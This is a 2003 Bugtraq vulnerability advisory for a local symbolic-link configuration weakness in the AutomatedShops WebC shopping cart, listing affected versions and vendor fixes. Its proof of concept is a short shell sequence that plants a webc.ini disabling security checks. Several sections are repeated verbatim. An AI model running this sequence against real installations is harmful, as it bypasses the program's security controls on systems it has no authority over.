AutomatedShops WebC Symbolic Link Following Configuration File Weakness
BID:7272
Info
AutomatedShops WebC Symbolic Link Following Configuration File Weakness
| Bugtraq ID: | 7272 |
| Class: | Design Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Apr 03 2003 12:00AM |
| Updated: | Apr 03 2003 12:00AM |
| Credit: | Discovery credited to Carl Livitt <[email protected]>. |
| Vulnerable: |
AutomatedShops WebC 5.0 10 AutomatedShops WebC 5.0 05 AutomatedShops WebC 5.0 AutomatedShops WebC 2.0 11 |
| Not Vulnerable: |
AutomatedShops WebC 5.0 20 |
Discussion
AutomatedShops WebC Symbolic Link Following Configuration File Weakness
It has been reported that WebC will execute in the directory of a symbolic link from which it is invoked. Because of this, it may be possible for a local user to load a configuration file that enabled dangerous variables.
It has been reported that WebC will execute in the directory of a symbolic link from which it is invoked. Because of this, it may be possible for a local user to load a configuration file that enabled dangerous variables.
Exploit / POC
AutomatedShops WebC Symbolic Link Following Configuration File Weakness
The following example has been provided:
$ cd /tmp
$ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi
$ cp /usr/local/apache/cgi-bin/webc.emf .
$ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini
$ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini
$ ./webc.cgi
The following example has been provided:
$ cd /tmp
$ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi
$ cp /usr/local/apache/cgi-bin/webc.emf .
$ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini
$ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini
$ ./webc.cgi
Solution / Fix
AutomatedShops WebC Symbolic Link Following Configuration File Weakness
Solution:
The vendor has released a new version to address this issue:
AutomatedShops WebC 2.0 11
AutomatedShops WebC 5.0 05
AutomatedShops WebC 5.0 10
AutomatedShops WebC 5.0
Solution:
The vendor has released a new version to address this issue:
AutomatedShops WebC 2.0 11
-
AutomatedShops WebC 5.020
ftp://ftp.automatedshops.com/pub/webc/5.020/
AutomatedShops WebC 5.0 05
-
AutomatedShops WebC 5.020
ftp://ftp.automatedshops.com/pub/webc/5.020/
AutomatedShops WebC 5.0 10
-
AutomatedShops WebC 5.020
ftp://ftp.automatedshops.com/pub/webc/5.020/
AutomatedShops WebC 5.0
-
AutomatedShops WebC 5.020
ftp://ftp.automatedshops.com/pub/webc/5.020/
References
AutomatedShops WebC Symbolic Link Following Configuration File Weakness
References:
References:
- AutomatedShops Homepage (AutomatedShops)
- Multiple vulnerabilities in AutomatedShops WebC shopping cart (Carl Livitt
)